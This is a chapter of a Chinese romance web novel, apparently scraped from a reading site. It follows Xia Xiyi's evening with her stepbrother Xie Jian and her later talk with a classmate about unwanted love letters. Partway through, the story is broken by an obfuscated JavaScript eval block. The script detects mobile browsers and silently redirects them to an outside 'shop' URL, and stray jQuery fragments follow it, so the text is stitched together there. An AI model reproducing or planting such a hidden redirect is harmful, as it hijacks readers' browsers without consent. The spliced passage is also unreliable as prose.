12. 第 12 章

作品:《我要你爱我

    耳边响起积分结算音效。


    夏夕怡怔怔望着前方,手背上还残留着温度,耳边回荡着那句“别怕,我来了”。


    第一时间想的是——原来谢涧也会说人话。


    然后才反应过来,他刚刚应了她喊的那几声“哥哥”。


    谢涧很少用“我”来回应“哥哥”这个单独的称呼。


    偶有的几次,是在她请求他帮忙补课的那一天——而且很大概率是因为自己把他喊烦了。


    她为什么记得这么清楚,是因为每次喊出“哥哥”这个词的时候,她都会期待一个回应。


    一个能让她感受到接纳的回应。


    这个回应可以是语言,也可以是一个眼神。


    就好像在家里随口喊的一声“妈”,就会得到一个温柔的“诶”,或者一个很自然询问的眼神。


    从你嘴里喊出来的称呼是有归属的,是只他一人的,是你喊出来他就知道那是他。


    而不是喊出来就落在地上,还需要特定的前因后果才能被他注意到。


    夏夕怡承认自己在某些方面上是有些敏感。


    普通人也不会这么在乎区区一个称呼所得到的回应。


    但她就是下意识地关注了。


    并且在刚刚,发现了谢涧态度的转变。


    尽管这种转变特别微小。


    夏夕怡感觉手心在冒汗,轻轻捏了一下掌心。


    “滴滴。”


    游戏开始的音效让她回神,才反应过来手里还握着手柄。


    “哥哥。”她看向谢涧,又喊他。


    谢涧靠着沙发,漫不经心地看着前方,扬了扬下巴,“想玩就再来一把。”


    其实问的时候并不是那么想玩。


    但现在好像有点想了。


    夏夕怡膝盖并紧,抿了抿唇。


    游戏开始,依旧是谢涧带她躺赢。


    但有进步的是她这次杀了一个敌人。


    不知道第三轮怎么开始的,反正很快又玩了起来。


    她好像学会了如何操作,这次杀了七个。


    这种游戏实在很解压,夏夕怡不知道玩了几轮,总之到最后一轮时,她已经能够和谢涧并排往前冲了。


    游戏结束,酣畅淋漓。


    打出了有史以来的最高分。


    夏夕怡握紧拳低低喊了声耶。


    意犹未尽,还准备再来一局时,谢涧操作屏幕退出了游戏。


    夏夕怡看向他。


    谢涧朝她伸手,“眼睛不想要了?”


    手柄被抽走,夏夕怡愣愣看了眼对面墙上的时钟。


    她居然一口气玩了三个多小时!


    “妹妹。”顾阳的声音从另一边沙发幽幽传来,“怎么我陪你打的时候你没露出过这么可爱的笑?”


    夏夕怡立刻将嘴角拉直。


    她都没意识到自己在笑……


    “可能是因为,你陪我打的时候,我来不及笑吧……”


    毕竟他死亡的速度太快了。


    顾阳一副被伤透了心的样子,将手里PSP丢到一边,悲愤地扑到茶几边上,将剩下的水果一扫而空。


    嘴里塞得满满当当时,他的手机响了。


    看到来电人吓得连忙给他们打手势,快步往阳台走,“窝妈窝妈……”


    “……”夏夕怡无言,看向一旁的谢涧,“那……我先回房了?”


    谢涧轻轻一扬头,示意自己听到了。


    夏夕怡抬了一下屁股,突然想起什么,犹豫片刻后又坐下了。


    “哥哥……我有一些问题想问你。”


    谢涧微微侧头,撩起眼皮。


    夏夕怡捏了下手指,看着他:“你今天带我出去,是特意……想给我买舞鞋吗?”


    谢涧微顿,眉毛抬起,很淡地勾了下唇角。


    “是你顾哥哥想给你买。”


    “……”夏夕怡找出漏洞,“是你付的钱。”


    谢涧:“那我也是替他付的钱。”


    她从源头反驳:“但也是你带我出来玩的……”


    谢涧不紧不慢,“是你顾哥哥说,很想你。”


    ……完全说不过他。


    夏夕怡决定换个问题,“那你昨天早上说,没有警告的意思,是我能在外面喊你哥哥了吗?”


    “嘴长在你身上,你想喊就喊。”谢涧又半垂下眼看手机。


    他低着头,夏夕怡看不透他的情绪,但得到了确认,她就选择相信。


    于是忍不住雀跃,“我说了你就会应?”


    谢涧:“我不聋。”


    还是那样爱搭不理的态度,但好像有一层屏障消失,夏夕怡突然可以接触最真实的他,心脏瞬间鼓胀起来,满溢着都是惊喜。


    果然努力就会有回报。


    夏夕怡再次深刻认识到了这一点,抿起唇,弯起眼睛,“谢谢哥哥!”


    她的声音太过兴奋,谢涧又抬起头看她。


    小姑娘眼睛很亮,像是得到了喜欢的礼物。


    难以想象这样一件小事就能让她开心成这样,谢涧突然发现,自己一开始的想法可能错得有些离谱。


    就算她真有所图,他也没什么给不起的。


    “哇塞?我一不在,你们两个人眼对眼笑这么开心干嘛?排挤我?”


    顾阳的声音响起,他到桌边抽了两张纸巾擦嘴,两只眼睛狐疑地看着沙发上的两人。


    夏夕怡同样疑惑,谢涧明明没笑,不知道他是从哪里看出来的开心。


    谢涧神色淡淡,问他:“打完电话了?”


    说到电话,顾阳就立刻被转移了注意力。


    “我靠,你知道我妈打来干什么吗?她居然要我去相亲!我跟你说……”


    聊到隐私话题了,夏夕怡不能再听,歪头低声和谢涧说:“哥哥,那我先回房间了。”


    谢涧垂眸看她,没有立刻回应,不知道是不是没听清,。


    这时候顾阳突然凑过来,“妹妹怎么要回房了?今晚还有节目,不跟我们一起去吗?”


    他的耳朵好灵啊……夏夕怡连忙道:“我不去了,我还要背书……”


    顾阳啧啧两声,感叹,“真乖啊妹妹,那你好好背书,我们不打扰你。”


    他转身,“谢涧,还是你开车嗷,太久没回来,俱乐部在哪我都忘了。”


    顾阳一副不玩够本不罢休的态度,夏夕怡莫名有点担心。


    轻轻拉了下谢涧的袖子,悄悄说:“哥哥,你还是尽量不要喝酒吧。”


    原本以为声音已经压得够低,但再低的声音顾阳似乎也能听得见。


    “妹妹你放心,谢涧这人最讨厌喝酒了,和兄弟们聚会都是滴酒不沾,谁劝都劝不动,小时候误喝了一口酒都难受得躺了一整天,放心吧放心吧。”


    这夏夕怡下意识看向谢涧,有些惊讶。


    谢涧一副耐心告罄的样子,踢了顾阳一脚,“再废话滚出去。”


    夏夕怡没有再多说,轻轻一笑,最后打了个招呼就起身离开。


    打开门时,身后传来脚步声,转头意外地看到谢涧跟了上来,夏夕怡微微一愣,“你们现在就要走啊……”


    谢涧垂下眼,视线落到她的身上,停顿两秒,开口却不是回答,而是夏夕怡意料之外的问题。


    他问:“还有没有别的问题?”


    这话夏夕怡一时间没明白是什么意思。


    是在继续刚刚她的前一个话题吗?


    可是总感觉他话里有话。


    “……”夏夕怡茫然地眨了眨眼,“没了吧……”


    谢涧点点头,似乎只是随口一问,“回房吧。”


    ……


    看似随意的对话,却令夏夕怡非常苦恼。


    吃饭的时候,洗澡的时候,背书的时候,这句话都要时不时蹦出来刷一下存在感。


    她到底忘了问什么?


    夏夕怡抓耳挠腮也没想出来。


    最后带着这个问题入睡,梦里全是小黑人带着各种各样的问题朝她冲撞而来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854927|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    早上醒来时,后背都出了一层薄汗。


    周一早,夏夕怡准时准点到达学校。


    下周三周四两天期末考,这一周,班级里的氛围已经开始有些紧张了。


    放轻脚步穿过安静的教室,走到窗边的位置。


    刚要坐下,余光忽然瞥见抽屉里白色信封的一角。


    “……”周末两天的好心情突然消散了许多。


    她假装没看到,坐下的时候将那白色的东西往里塞了塞。


    好在林方朵还没来,宋星阳大概难得早起一次,学会了偷偷送信。


    这封信在她抽屉里藏了一天,她看都没看一眼。


    直到晚自习下课,她收拾书包的时候,才将信夹在书里收了起来。


    姜悦悦是住宿生,还要再上一节晚自习。


    夏夕怡出了班级,左右看了看,就看见宋星阳站在最近的楼梯口处朝她张望。


    她转身往楼上走。


    宋星阳连忙跟上,表情十分忐忑,“那个……道歉信你看了吗?”


    “没有。”夏夕怡摇头,如实说,“我不敢看。”


    “啊……”身后的男生声音小了些,“也是,在班里可能看不了。”


    高三生在另一栋楼,他们上了两层,便走到锁住的天台门前。


    停下,转身,夏夕怡说:“不在班里也看不了。”


    她拉下书包,从里面拿出白色信封,“收回去吧,其实你不需要和我道歉。”


    宋星阳其实脸皮挺薄的,昏暗中也能看见他的脸迅速蔓延上红色,“你……还是不能原谅我吗?”


    夏夕怡摇摇头,认真道:“我说了,你不用道歉,其实你没做错什么。”


    向喜欢的女生表达好感而已,造成这样的后果也不是他想的。


    高一下学期,他们在舞蹈社相识。


    一个月后,她收到了他的第一封情书。


    那时候她没有过多理会,只是简单地拒绝了他。


    紧接着就在体育课上被砸破了脑袋。


    她没当回事,只觉得两个人都是心血来潮。


    没想到,后来宋星阳的情书两个星期就会来一封,她也同样每两个星期身上就要受点伤。


    在收到第五封情书的时候,她约了宋星阳出来,很严肃地跟他说了林方朵的事,表明了自己的态度,让他不要再送信了。


    宋星阳当时的表情非常内疚,一直在说对不起,保证不会再给她带来麻烦。


    三个月后,信重新以一种更隐蔽的方式出现在她的抽屉里。


    当然还是没能逃过林方朵的眼睛。


    夏夕怡再一次在体育课上受伤。


    这一次她终于把信拆开来看了。


    信的开头是两大段的道歉,最后一段诚恳地表达了自己的感情,希望他们能重新做回朋友,好好相处。


    能看得出来是个善良的人,但夏夕怡仍是拒绝,当着他的面将信丢进了垃圾桶。


    在这之后又风平浪静过了四个月,才收到了最后一封信。


    也就是谢涧回国那天的粉色信封。


    面前的男生眼底闪着泪光。


    回想起他这一年来的行为,说他错了吗?其实算不上,至少夏夕怡没有特别怪他。


    因为他真的努力地有在给她减少麻烦,夏夕怡也不会将林方朵的问题怪在他身上。


    只是他们真的做不成朋友。


    天台处的楼梯间特别安静,宋星阳垂着眼,朝她走近一步,低声开口,“如果没有林方朵……”


    “我交朋友,与外人无关,只看我愿不愿意。”夏夕怡声音很轻,但也很笃定。


    如果姜悦悦身边突然出现一个男生,威胁她,让她不要再和姜悦悦做朋友,她是肯定不会听的。


    “别太执着。”她轻轻叹道,“其实我们也没那么熟,对吗?”


    话落,天台门缝有凉风吹了进来,她的余光中突然闪起一瞬的白光。


    夏夕怡立刻朝楼梯下的光亮处看去。